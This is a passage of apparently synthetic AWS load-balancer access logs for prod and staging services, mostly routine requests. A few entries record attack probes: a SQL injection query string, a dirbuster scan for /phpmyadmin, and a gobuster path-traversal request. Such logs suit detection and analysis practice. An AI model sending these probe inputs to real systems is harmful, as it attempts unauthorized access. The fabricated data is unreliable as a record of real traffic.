arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7bf-9027672055634ff8b47086f5" "prod-api-alb.example.com" "-" 10 2024-11-01T01:09:03.026413Z "forward" "-" "-" "10.0.47.99:443" "200" "-" "-" +https 2024-11-01T01:09:04.510284Z prod-web-alb 153.142.128.138:41350 10.0.166.157:443 0.093632 0.479402 0.029387 404 404 775 8878 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7c0-f4923719aa9340b1aea0951f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:09:04.510284Z "forward" "-" "-" "10.0.166.157:443" "404" "-" "-" +https 2024-11-01T01:09:04.635749Z prod-web-alb 248.189.170.0:22205 10.0.59.185:443 0.069700 0.465950 0.028864 200 200 521 7698 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7c0-47bf02b8c0534d088d55b524" "prod-web-alb.example.com" "-" 4 2024-11-01T01:09:04.635749Z "forward" "-" "-" "10.0.59.185:443" "200" "-" "-" +https 2024-11-01T01:09:06.412486Z staging-alb 19.28.243.165:37112 33.143.171.202:8080 0.069455 0.725150 0.008494 200 200 594 6765 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7c2-5674461fadc7426990f222c9" "staging-alb.example.com" "-" 3 2024-11-01T01:09:06.412486Z "forward" "-" "-" "33.143.171.202:8080" "200" "-" "-" +https 2024-11-01T01:09:06.705272Z prod-web-alb 122.2.247.33:29529 10.0.166.5:443 0.055514 0.059201 0.001875 302 302 449 8998 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7c2-59d8e67d9035427a8269f0fd" "prod-web-alb.example.com" "-" 3 2024-11-01T01:09:06.705272Z "forward" "-" "-" "10.0.166.5:443" "302" "-" "-" +http 2024-11-01T01:09:07.457049Z staging-alb 106.165.213.197:52514 233.196.54.130:443 0.036099 0.257092 0.122643 200 200 89 10471 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7c3-c478634b602b457f9c3a8140" "staging-alb.example.com" "-" 3 2024-11-01T01:09:07.457049Z "forward" "-" "-" "233.196.54.130:443" "200" "-" "-" +http 2024-11-01T01:09:08.522096Z staging-alb 37.110.195.201:57203 254.131.94.93:8080 0.111327 0.152143 0.148494 200 200 216 11360 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7c4-d4f959dfaf774f0cb1080d72" "staging-alb.example.com" "-" 6 2024-11-01T01:09:08.522096Z "forward" "-" "-" "254.131.94.93:8080" "200" "-" "-" +https 2024-11-01T01:09:08.981756Z prod-api-alb 151.192.1.121:22583 10.0.213.10:443 0.029472 0.370648 0.090482 200 200 39 10570 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7c4-ba169d0897364ce7a887af71" "prod-api-alb.example.com" "-" 7 2024-11-01T01:09:08.981756Z "forward" "-" "-" "10.0.213.10:443" "200" "-" "-" +https 2024-11-01T01:09:09.166732Z staging-alb 185.181.21.23:22037 82.116.106.210:80 0.100355 0.003165 0.141187 500 500 895 7207 "POST /search?q=1' UNION SELECT HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7c5-1bd981d23e4d44829ea7d1c1" "-" "-" 1 2024-11-01T01:09:09.166732Z "forward" "-" "-" "82.116.106.210:80" "500" "-" "-" +http 2024-11-01T01:09:10.379989Z staging-alb 156.146.36.21:19660 61.78.224.20:80 0.097968 0.123899 0.094449 404 404 966 8488 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7c6-f877b040efc4421fad86b43f" "staging-alb.example.com" "-" 5 2024-11-01T01:09:10.379989Z "forward" "-" "-" "61.78.224.20:80" "404" "-" "-" +http 2024-11-01T01:09:12.137935Z staging-alb 158.167.242.81:54543 22.69.120.44:443 0.142906 0.532599 0.007975 302 302 708 6926 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7c8-478955a19ebe4e96ab6a4b2b" "staging-alb.example.com" "-" 0 2024-11-01T01:09:12.137935Z "forward" "-" "-" "22.69.120.44:443" "302" "-" "-" +http 2024-11-01T01:09:13.925311Z staging-alb 35.151.183.131:52870 252.187.94.24:80 0.004581 0.171912 0.024594 200 200 897 11763 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7c9-a23edc220277411098360d38" "staging-alb.example.com" "-" 2 2024-11-01T01:09:13.925311Z "forward" "-" "-" "252.187.94.24:80" "200" "-" "-" +http 2024-11-01T01:09:15.815638Z staging-alb 217.97.115.250:62177 107.10.7.203:443 0.051663 0.483031 0.114689 200 200 543 1942 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7cb-d476f42b1df44f1ca1c0a01a" "staging-alb.example.com" "-" 4 2024-11-01T01:09:15.815638Z "forward" "-" "-" "107.10.7.203:443" "200" "-" "-" +https 2024-11-01T01:09:16.509287Z prod-api-alb 136.28.189.208:53468 10.0.200.121:443 0.016276 0.282947 0.062890 200 200 680 13956 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7cc-f379705dda214f7794ca44b5" "prod-api-alb.example.com" "-" 4 2024-11-01T01:09:16.509287Z "forward" "-" "-" "10.0.200.121:443" "200" "-" "-" +https 2024-11-01T01:09:17.055844Z prod-api-alb 114.246.37.164:18976 10.0.51.98:443 0.021186 0.352682 0.054116 200 200 566 5682 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7cd-2fd1a5d75a1d42d08fa66803" "prod-api-alb.example.com" "-" 3 2024-11-01T01:09:17.055844Z "forward" "-" "-" "10.0.51.98:443" "200" "-" "-" +https 2024-11-01T01:09:17.674059Z prod-api-alb 193.48.11.237:48266 10.0.169.253:443 0.074770 0.133925 0.016752 302 302 390 3827 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7cd-a02eba9b77a54f5aa4482fd2" "prod-api-alb.example.com" "-" 2 2024-11-01T01:09:17.674059Z "forward" "-" "-" "10.0.169.253:443" "302" "-" "-" +https 2024-11-01T01:09:18.245166Z prod-web-alb 29.189.15.254:51528 10.0.66.54:443 0.055794 0.489895 0.095009 200 200 116 14524 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7ce-52c1541ea85b492ba30961b1" "prod-web-alb.example.com" "-" 5 2024-11-01T01:09:18.245166Z "forward" "-" "-" "10.0.66.54:443" "200" "-" "-" +https 2024-11-01T01:09:19.508880Z staging-alb 139.157.26.254:36120 155.159.186.112:443 0.025226 0.442658 0.133732 200 200 984 645 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7cf-b2a14b81c243484ca8c1ef60" "-" "-" 4 2024-11-01T01:09:19.508880Z "forward" "-" "-" "155.159.186.112:443" "200" "-" "-" +https 2024-11-01T01:09:20.484225Z prod-web-alb 45.155.205.102:48430 10.0.222.216:443 0.008410 0.461367 0.089979 401 401 423 4399 "GET /phpmyadmin HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7d0-ff326574992945e7a4acc259" "-" "-" 9 2024-11-01T01:09:20.484225Z "forward" "-" "-" "10.0.222.216:443" "401" "-" "-" +http 2024-11-01T01:09:22.186069Z staging-alb 209.65.22.57:11550 209.39.65.150:443 0.042158 0.049689 0.044328 301 301 127 7258 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7d2-66d90e684e7443eea1f87c0c" "staging-alb.example.com" "-" 5 2024-11-01T01:09:22.186069Z "forward" "-" "-" "209.39.65.150:443" "301" "-" "-" +https 2024-11-01T01:09:22.552966Z staging-alb 188.174.46.12:22446 62.201.12.65:80 0.047701 0.240342 0.119031 200 200 769 9758 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7d2-3361f8d28376424d972b9351" "staging-alb.example.com" "-" 10 2024-11-01T01:09:22.552966Z "forward" "-" "-" "62.201.12.65:80" "200" "-" "-" +https 2024-11-01T01:09:23.609433Z prod-api-alb 217.179.206.58:18587 10.0.21.63:443 0.007532 0.128640 0.003611 200 200 618 1040 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7d3-0397ef2bcab04615b622d38a" "prod-api-alb.example.com" "-" 7 2024-11-01T01:09:23.609433Z "forward" "-" "-" "10.0.21.63:443" "200" "-" "-" +https 2024-11-01T01:09:24.503096Z staging-alb 45.155.205.185:36375 155.249.183.48:80 0.000598 0.472035 0.065741 403 403 625 7747 "GET /api/../../../config HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7d4-6dd97045c34647e4a5df299c" "-" "-" 1 2024-11-01T01:09:24.503096Z "forward" "-" "-" "155.249.183.48:80" "403" "-" "-" +https 2024-11-01T01:09:25.986347Z prod-web-alb 205.172.121.204:55491 10.0.235.60:443 0.010295 0.244358 0.045137 200 200 705 6293 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7d5-41cb37d46a2d4e3da737d50c" "prod-web-alb.example.com" "-" 0 2024-11-01T01:09:25.986347Z "forward" "-" "-" "10.0.235.60:443" "200" "-" "-" +https 2024-11-01T01:09:27.512242Z prod-api-alb 251.98.183.138:32026 10.0.242.110:443 0.032429 0.096359 0.000456 200 200 348 12889 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7d7-c93d62ecfed84ed2aebe30a4" "prod-api-alb.example.com" "-" 1 2024-11-01T01:09:27.512242Z "forward" "-" "-" "10.0.242.110:443" "200" "-" "-" +https 2024-11-01T01:09:29.291192Z prod-web-alb 107.64.194.204:42704 10.0.24.52:443 0.035421 0.443991 0.083793 200 200 588 11978 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7d9-7db060df094147a6bf83e8a1" "prod-web-alb.example.com" "-" 9 2024-11-01T01:09:29.291192Z "forward" "-" "-" "10.0.24.52:443" "200" "-" "-" +https 2024-11-01T01:09:30.233778Z prod-api-alb 226.142.5.162:41557 10.0.157.246:443 0.039107 0.364023 0.056274 404 404 302 4214 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7da-fc72746dbd364deb9facddaf" "prod-api-alb.example.com" "-" 6 2024-11-01T01:09:30.233778Z "forward" "-" "-" "10.0.157.246:443" "404" "-" "-" +https 2024-11-01T01:09:30.636102Z prod-api-alb 165.100.224.10:26362 10.0.239.81:443 0.084577 0.032662 0.008859 200 200 502 11865 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7da-3b1ec3d658ab4a6bbf255480" "prod-api-alb.example.com" "-" 7 2024-11-01T01:09:30.636102Z "forward" "-" "-" "10.0.239.81:443" "200" "-" "-" +https 2024-11-01T01:09:31.537359Z prod-api-alb 52.233.131.163:58526 10.0.99.57:443 0.011930 0.163223 0.009100 200 200 149 13412 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7db-5b0783f28ab14279b8a631a3" "prod-api-alb.example.com" "-" 10 2024-11-01T01:09:31.537359Z "forward" "-" "-" "10.0.99.57:443" "200" "-" "-" +https 2024-11-01T01:09:32.688294Z prod-web-alb 72.57.206.206:24492 10.0.16.206:443 0.045711 0.137095 0.070709 404 404 744 6952 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7dc-f20842f80f4b4010808fcf0a" "prod-web-alb.example.com" "-" 4 2024-11-01T01:09:32.688294Z "forward" "-" "-" "10.0.16.206:443" "404" "-" "-" +http 2024-11-01T01:09:32.954932Z staging-alb 195.55.84.163:55040 199.125.173.238:8080 0.050198 0.573639 0.057136 200 200 995 9212 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7dc-d4964fe1d36f410a96444236" "staging-alb.example.com" "-" 10 2024-11-01T01:09:32.954932Z "forward" "-" "-" "199.125.173.238:8080" "200" "-" "-" +https 2024-11-01T01:09:33.446693Z prod-api-alb 15.91.233.146:54878 10.0.73.199:443 0.042112 0.225574 0.096833 200 200 297 8725 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7dd-40064d48aca34828a0028e9b" "prod-api-alb.example.com" "-" 8 2024-11-01T01:09:33.446693Z "forward" "-" "-" "10.0.73.199:443" "200" "-" "-" +https 2024-11-01T01:09:34.585372Z prod-web-alb 20.218.43.45:27592 10.0.98.76:443 0.098995 0.422609 0.020301 301 301 682 5921 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7de-0c4a3b1c7ee840ce8579d28c" "prod-web-alb.example.com" "-" 1 2024-11-01T01:09:34.585372Z "forward" "-" "-" "10.0.98.76:443" "301" "-" "-" +https 2024-11-01T01:09:36.436567Z prod-api-alb 217.58.66.145:30940 10.0.43.221:443 0.039433 0.185244 0.012328 200 200 79 8780 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7e0-2939bbada0dd41f69d55b6b4" "prod-api-alb.example.com" "-" 8 2024-11-01T01:09:36.436567Z "forward" "-" "-" "10.0.43.221:443" "200" "-" "-" +https 2024-11-01T01:09:36.888038Z staging-alb 250.72.98.204:33614 126.175.31.165:80 0.084411 0.365593 0.052285 200 200 978 10385 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7e0-177407f860fa448682fd7e44" "staging-alb.example.com" "-" 3 2024-11-01T01:09:36.888038Z "forward" "-" "-" "126.175.31.165:80" "200" "-" "-" +https 2024-11-01T01:09:38.432411Z prod-api-alb 117.214.136.247:41489 10.0.48.157:443 0.044368 0.344306 0.054051 200 200 144 8177 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7e2-63e51e10dd39409f8484cc76" "prod-api-alb.example.com" "-" 9 2024-11-01T01:09:38.432411Z "forward" "-" "-" "10.0.48.157:443" "200" "-" "-" +http 2024-11-01T01:09:39.177475Z staging-alb 186.8.52.155:23235 136.112.208.147:80 0.006799 0.536502 0.015419 404 404 424 1684 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7e3-784be77a362a4fdb801f9ec4" "staging-alb.example.com" "-" 6 2024-11-01T01:09:39.177475Z "forward" "-" "-" "136.112.208.147:80" "404" "-" "-" +https 2024-11-01T01:09:40.597928Z prod-api-alb 166.216.105.139:31748 10.0.144.146:443 0.055525 0.027197 0.015231 301 301 575 2092 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7e4-dae7984bbc154df69d941ec7" "prod-api-alb.example.com" "-" 6 2024-11-01T01:09:40.597928Z "forward" "-" "-" "10.0.144.146:443" "301" "-" "-" +https 2024-11-01T01:09:42.017871Z prod-api-alb 164.55.242.57:50850 10.0.92.242:443 0.087451 0.394206 0.054492 404 404 681 725 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7e6-b849b8485dc445e897346942" "prod-api-alb.example.com" "-" 7 2024-11-01T01:09:42.017871Z "forward" "-" "-" "10.0.92.242:443" "404" "-" "-" +https 2024-11-01T01:09:43.929879Z staging-alb 101.210.109.230:51341 99.75.38.248:80 0.029607 0.088490 0.064657 404 404 45 14648 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7e7-425c87cbf1c04360a06d6a29" "staging-alb.example.com" "-" 7 2024-11-01T01:09:43.929879Z "forward" "-" "-" "99.75.38.248:80" "404" "-" "-" +https 2024-11-01T01:09:45.126137Z prod-web-alb 231.158.10.149:19415 10.0.121.1:443 0.087249 0.214740 0.095203 404 404 231 283 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7e9-d27a2a9444854ac2aab1a397" "prod-web-alb.example.com" "-" 6 2024-11-01T01:09:45.126137Z "forward" "-" "-" "10.0.121.1:443" "404" "-" "-" +https 2024-11-01T01:09:45.411749Z prod-api-alb 147.28.46.56:64879 10.0.131.148:443 0.040650 0.265599 0.006848 200 200 598 4515 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7e9-f2457d5c09734f0bad24919b" "prod-api-alb.example.com" "-" 5 2024-11-01T01:09:45.411749Z "forward" "-" "-" "10.0.131.148:443" "200" "-" "-" +https 2024-11-01T01:09:46.980877Z prod-web-alb 234.148.206.76:18300 10.0.233.17:443 0.012178 0.121770 0.079070 200 200 368 455 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7ea-2ce6103c1afd4126b8bbd67b" "prod-web-alb.example.com" "-" 3 2024-11-01T01:09:46.980877Z "forward" "-" "-" "10.0.233.17:443" "200" "-" "-" +https 2024-11-01T01:09:48.523696Z prod-web-alb 225.50.145.230:55653 10.0.223.91:443 0.033066 0.379523 0.005092 200 200 52 10665 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7ec-27f8d5e26eb643e99bf1fdae" "prod-web-alb.example.com" "-" 7 2024-11-01T01:09:48.523696Z "forward" "-" "-" "10.0.223.91:443" "200" "-" "-" +https 2024-11-01T01:09:49.497344Z prod-web-alb 9.197.88.15:59365 10.0.194.242:443 0.089362 0.381822 0.065668 200 200 497 2065 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7ed-867cc7c9dddc492282f616fb" "prod-web-alb.example.com" "-" 4 2024-11-01T01:09:49.497344Z "forward" "-" "-" "10.0.194.242:443" "200" "-" "-" +https 2024-11-01T01:09:50.294719Z prod-web-alb 65.114.223.111:41551 10.0.71.152:443 0.033839 0.480822 0.025890 200 200 129 9525 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7ee-2f2d234b3332408e8d61c593" "prod-web-alb.example.com" "-" 1 2024-11-01T01:09:50.294719Z "forward" "-" "-" "10.0.71.152:443" "200" "-" "-" +https 2024-11-01T01:09:50.793875Z prod-api-alb 159.16.195.137:20433 10.0.206.154:443 0.046874 0.082737 0.039979 200 200 535 3657 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7ee-d61d68f4dd1545d2bf3e1860" "prod-api-alb.example.com" "-" 10 2024-11-01T01:09:50.793875Z "forward" "-" "-" "10.0.206.154:443" "200" "-" "-" +https 2024-11-01T01:09:51.646957Z prod-web-alb 235.46.14.107:38398 10.0.118.236:443 0.041925 0.185775 0.037646 302 302 544 3344 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7ef-8d0155c52a9e4a97b2cfad0c" "prod-web-alb.example.com" "-" 0 2024-11-01T01:09:51.646957Z "forward" "-" "-" "10.0.118.236:443" "302" "-" "-" +http 2024-11-01T01:09:52.109950Z staging-alb 37.119.107.129:50451 14.178.125.172:80 0.144211 0.397086 0.055095 200 200 739 8296 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7f0-bd8fb997a3d94c349e28e498" "staging-alb.example.com" "-" 4 2024-11-01T01:09:52.109950Z "forward" "-" "-" "14.178.125.172:80" "200" "-" "-" +https 2024-11-01T01:09:53.868751Z prod-api-alb 101.3.35.78:20219 10.0.221.144:443 0.093174 0.139619 0.034100 302 302 186 7804 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 